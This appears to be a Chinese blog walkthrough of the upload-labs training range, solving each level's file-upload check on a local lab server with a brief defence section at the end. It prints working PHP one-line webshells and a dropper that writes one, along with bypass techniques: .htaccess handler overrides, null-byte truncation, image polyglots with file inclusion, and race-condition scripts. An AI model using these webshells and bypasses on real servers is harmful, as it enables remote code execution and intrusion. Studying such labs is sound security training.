文件上传漏洞原理
- 假如上传了一个php文件里面有这行代码
执行了wuya这个post参数
假如输入了system(ipconfig)等,就能查看服务器的网络情况。
WebShell介绍
- 一句话木马
- 小马
- 大马
-
常见的一句话木马、小马、大马
-
https://github.com/tennc/webshell
-
https://github.com/xl7dev/WebShell
这样就不用自己写了
靶场练习
环境
放在F:\dev_sec\apache\Apache24\htdocs\upload-labs
第一关(前端js过滤——禁用js)
特点是:会在前端用js过滤掉非图片后缀的文件
方式一:禁用js
- 使用火狐浏览器,关掉javascript.enabled
关闭方式:about:config下搜索javascript.enabled
可以发现,上传shell.php成功了!
"shell.php"
<?phpheader("Content-type:text/html;charset=gb1232");echo "<pre>";@eval($_POST['wuya']);
?>
方式二:直接在网页修改js,删掉checkFile()即可。
上传shell.php后,我们直接用中国蚁剑就能获取所有信息了。
第二关(后端MIME过滤——BP改MIME类型)
从下述源码可以看出来,主要是对MIME类型进行了一个判断,只有特定MIME类型的可以被上传
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}
所以,我们可以想到用burp suite抓包来修改MIME类型即可
- 上传shell.php
- burp suite抓包
然后forward
上传成功!
然后就可以用中国蚁剑为所欲为了。
第三关(后端简单判断扩展名——使用等价扩展名)
可以看到,源码只是匹配了下.php被拒绝了。但是等价扩展名没有,所以我们可以以此来绕过。
所以,我们把shell.php重命名为shell.php3即可。然后上传即可。
前提:要在apache里面设置好支持.php3或者php5才行。
Apache24\conf\httpd.conf
上传成功!
第四关(Apache的Overwrite All漏洞——上传.htaccess来转换解析方式)
知识家园:
伪静态页面:
52pojie里面,为了让搜索引擎更容易搜索到自己的内容,将动态页面转为了静态页面后缀,称为伪静态。
那么这个转换是怎么转的呢?其实是使用了Apache里的.htaccess这个文件。
看源码,明显,所有等价扩展名都考虑到了
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
所以,我们无法使用等价扩展名。
考虑到我们上面介绍的知识,我们可以用.htaccess文件来将.jpg文件当作.php来解析。
<FilesMatch "a.jpg">SetHandler application/x-httpd-php
</FilesMatch>
第一步:上传.htaccess
内容就是
<FilesMatch "a.jpg">SetHandler application/x-httpd-php
</FilesMatch>
这个的作用是在upload文件夹内匹配到a.jpg的话,把它当作php来解析。
第二步:将shell.php重命名为a.jpg,然后上传。
第三步:用中国蚁剑来获取shell
前提:apache必须配置AllowOverride all
注意,可能存在多处,建议都改下。
第六关(后端过滤时没有过滤小写——使用大写的.PHP文件来绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
可以发现,源码并没有对其转为小写。所以我们可以用PHP文件尝试。
可以发现,上传成功。
第七关(空格绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
从源码可以看到,没有过滤空格。
但是由于在windows,含空格的文件会被自动去掉空格,所以我们可以抓包,然后把空格给加上。这样就可以绕过黑名单了。
注意,本关要求的php版本较低,笔者用的5.3.29可以复现。
说下原理。
- 在windows,首尾含空格的文件会被自动去掉空格。
- 所以,当上传末尾有空格的文件时,黑名单肯定是匹配不上的。
- 但是当一被保存到服务器(就是本机windows),末尾空格又被去掉了,所以又能被解析为php文件了。
第八关(.号绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
可以发现,没有末尾句号过滤。
所以,我们和第七关一样,抓包,然后末尾加英文句号就行。
同样需要低版本php
第九关(::$DATA绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
可以看到::$DATA符没有去除
同样,抓包,然后添加符号,然后就可以上传成功了。原理同第七关。
第十关(结合空格 和 英文句号绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
可以看到,几乎无懈可击!上面提到的所有空格、英文句号、$DATA都被拦截了。
但是看下这个时序,还以有点漏洞了。
可以看到,是先过滤了英文句号,再过滤空格。
假如我们构造成这样:
.php. .
最后一个 . 先被去掉。
然后是一个空格被去掉。
所以,最后还是会被留下一个 .
因此,还是能达到我们上面 . 号绕过的效果。
第十一关(双写)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
可以发现,这里是将php替换成空。
结合之前的思路,我们直接采用双写就可以了。
可以看到双写就可以了。
第十二关(文件截断——%00URL编码形式的截断字符)
前置知识。
Content-Disposition
使用 multipart/form-data 格式提交表单数据时,每个表单字段和相关文件都需要一个 Content-Disposition 头来提供相关信息。这个头的第一个指令总是 form-data,并且必须包含一个 name 参数来标识相关字段。如果传输文件,还可以包含一个 filename 参数来指定文件的初始名称。
Content-Disposition: form-data; name=“fieldName”
Content-Disposition: form-data; name=“fieldName”; filename=“filename.jpg”
也就是说,Content-Disposition的filename是用来指示初始名称的。
可以看到,filename就是要上传的文件的初始名称。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
可以看到,这里是使用了save_path和upload_file拼接出来的。
也就是说,在最后①要拼接到②。
从上面逻辑可以看到,只要filename是以png结尾的,就可以绕过白名单校验。
但是,我们要上传的肯定是shell.php。
所以我们可以采用文件截断的方式,来保证生效的是shell.php文件,但是白名单校验的是shell.png文件。
抓包后像下面这样修改就可以上传成功了。(注意php版本为php5.5.9)
第十三关(文件截断——Hex16进制截断符)
看源码,和十二关一样,但是抓包后,发现,save_path也被保存到Content-Disposition 了。
同样,…/upload/和filename会进行拼接。所以仍然是文件来绕过白名单。
但是,此处已经不是url编码了,所以我们需要一个16进制的00来进行截断。
我们直接进入hex模式,找到对应位置,添加00即可。
- 第一步:按要求改这两个。
- 第二步,进入hex,填写16进制的00
然后上传也成功了。
php版本5.5.9
第十四关(文件头校验——合成shell.jpg+文件包含绕过)
php版本7.3.4nts
function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg';break;case 13780: $fileType = 'png';break; case 7173: $fileType = 'gif';break;default: $fileType = 'unknown';} return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
可以看到主要逻辑就是,读取文件头,从而识别是哪些文件。
也就是说,单纯改文件后缀名已经无效了。
我们必须将shell.php包含在一个git或者jpeg里面。命令如下:
windows下
copy huaji.jpg /b + shell.php /a shell.jpg
linux下
cat huaji.jpg shell.php > shell.jpg
如上,可以生成shell.jpg。里面包含shell.php的一句话木马,并且文件头是gif的文件头。
题干说了要利用文件包含漏洞。
点进去看到,里面居然把参数里面的值都include了进来。
由于我们上传的shell.jpg里面有恶意代码,如果可以include一下,让这些代码被include进来页面,就能让这些恶意代码得到了执行。
- 第一步:生成shell.jpg
- 第二步:上传shell.jpg
- 第三步,利用include.php来包含shell.jpg。从而让恶意代码得到执行。
第十五关(getimagesize校验——合成shell.jpg+文件包含绕过)
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
可以看到是,getimagesize是用于计算图片大小的。如果不是图片,会返错,从而达成过滤。
因为我们上面十四关生成的shell.jpg也是一个图片,所以仿照上面的就可以直接过了。
第十六关(exif_imagetype校验——合成shell.jpg+文件包含绕过)
php版本 php-7.4.22
和上面十四关是一样的。也是读取前面直接来检查。直接参照前面解法就行。
第十七关(二次渲染——010Editor得到未被改变的段落,把php脚本写到该段落即可。)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true; }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}
关键是imagecreatefromgif这个函数。
经过试验可知道,imagecreatefrompng的二次渲染会把shell.jpg中我们嵌入进去的shell.php的攻击代码给删掉了。
-
校验方式:
- 上传shell.gif
- 把页面上的gif和原shell.gif对比,查看是哪部分变了,哪部分没变。
可以看到,红色的是变了的,黑色的是没变的。
所以我们把原来的shell.php那段16进制代码复制到灰色的地方就行。
保存成新的shell.gif。
然后就可以上传成功挖到漏洞了。
第十八关(move到upload目录后再判断白名单后删除——条件竞争解决)
$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}
查看源码:
- 如果不是白名单的文件的话,就删除该文件。
- 但是由于保存、移动路径和删除存在时间差,我们可以利用条件竞争来破解。
由于绿色的阶段非常短,所以我们可以这样。
- 上传一个php文件,该文件一旦被访问,就能生成一个一句话木马文件。
- 然后我们快速执行 上传->访问->上传->访问->上传->访问->就能得到生成想要的一句话木马文件了。
- 产生一句话木马的文件。
competition.php
<?php fputs(fopen('wuya.php', 'w'), '<?php @eval($_POST["wuya"])?>');?>
第一步:使用BP的Intruder来不断上传competition.php。保证,频繁的存在上面的绿色阶段。
- 上传competition.php,然后BP拦截,将报文发到intruder
- 在intruder删除可变位。并选中null payloads和无限发包。
设置20并发的线程。
其实开始attack后,直接手动访问几次
http://localhost/upload-labs/upload/competition.php
也是会成功的。当然如果手速不够的话,用python脚本去跑也是一样的。
第二步:写一个python文件,然后不断的去访问wuya.php。
import requests
url = "http://localhost:7298/upload-labs/upload/competition.php"
while True:html = requests.get(url)if html.status_code == 200:print("OK")break
第十九关(白名单判断后再move到upload目录——图片马+条件竞争)
这关和第十八关的区别就是:
第十八关是:先把临时文件挪到正经能访问的uploads目录之后,才判断是否是白名单,不是的话就删除。(也就是说,php文件是有可能短暂出现uploads目录的)
第十九关:先把临时文件的类型按白名单判断后,是白名单才会挪到uploads目录,然后重命名。也就是php文件根本不可能出现在uploads目录,所以我们必须借助图片马。
也就是说,我们需要在判断完白名单后、重命名前,访问到含php脚本的jpg文件,通过文件包含,生成一句话木马文件。
如果重命名后,我们不知道该jpg文件叫啥了,所以无法操作,所以必须抓住这个短短的时间窗,来include它里面的php脚本,从而生成一句话木马php到服务器里。这个时间窗很短。可能要跑很多次才能实现。
这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下,所以我们要进去修改一下第19关的代码文件
要改成如下图的样子并保存重启靶场
打开第十九关,发现还是需要代码审计。那么再来看看源码吧。
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
第一步:生成图片马
第二步:上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)
点击Clear$
接着设置无限发送空的Payloads,来让它一直上传该文件
最后建议这里把线程设置高一点
然后我们要修改一下python脚本,不能再用回第18关的脚本了,这里脚本要修改为文件包含来访问(由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址)
import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:html = requests.get(url)if ( 'Warning' not in str(html.text)):print('ok')break
接下来我们可以用BP进行攻击,并同时运行python脚本
当出现OK说明访问到了该文件,那么Tony.php应该也创建成功了,用蚁剑连一下试试。
这里注意一下蚁剑连接的URL为http://xxx.xxx.xxx.xxx/upload-labs/Tony.php
其实这题同样的这也属于条件竞争的一种,只不过文件的形式不同而已。但是这题存在一个概率问题,比如我这次很短时间可以跑出来,但是下一次再同样做一次的话可能要长一点时间,反正我第一次打这关我当时BP跑了5W都没跑出来,而这次在30个包之后就可以出来了,不过还是那句,建议BP的线程能设高一点,效果可能会更好。
第二十关(move_uploaded_file漏洞——使用/.特点绕过黑名单校验)
- 没有对上传的文件做判断,只对用户输入的文件名做判断。判断方式为后缀名黑名单。
- move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的
/.
如下,即可上传成功。
第二十一关(CTF)
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}
看源码,主要有三个逻辑:
- 进行了mime类型的判断
-
输入的文件名:
-
必须是一个数组,并且数组最后一个元素后缀是jpg
-
第一个元素和最后一个元素拼起来是一个jpg文件,该文件会被上传。
-
漏洞点:
-
BP可以改mime类型
-
BP可以改后缀。
-
f i l e [ c o u n t ( file[count( file[count(file) - 1]。我们可以让数组元素为2。但是只包含 f i l e [ 0 ] 和 file[0]和 file[0]和file[2]。
这样。
-
count($file)就是2
-
f i l e [ c o u n t ( file[count( file[count(file) - 1]就是空。
-
$file_name = reset($file) . '.' . $file[count($file) - 1]
所以就可以变为$file_name = reset($file) . '.'
-
这样利用上一关move_uploaded_file的特点。就能构造出漏洞了。
-
文件上传漏洞发现与利用
利用流程:
- 找到上传的位置
- 尝试绕过校验,上传文件
- 获得文件位置
- 开源代码可以直接审计,查看把文件存在哪里
- 如果可以在服务器做一个文件变化监视器,查看哪里新增了文件。就可以知道位置。
- 如果文件没有执行的权限。
- 蚁剑连接
额外:
fuxploider
自动扫描是否有文件上传漏洞。
防御
文件上传漏洞发生前提:
针对2:各种方式校验文件类型:后缀、mime、文件头
针对3:隐藏上传路径、随机化文件名
针对4:权限控制。
附录
foxyproxy 和火狐和burp suite环境配置
-
apache设置为8888端口即可。
访问时如下访问
http://localhost:8888/upload-labs/Pass-02/index.php
-
火狐
设置为8081即可
- foxy proxy
设置为8081即可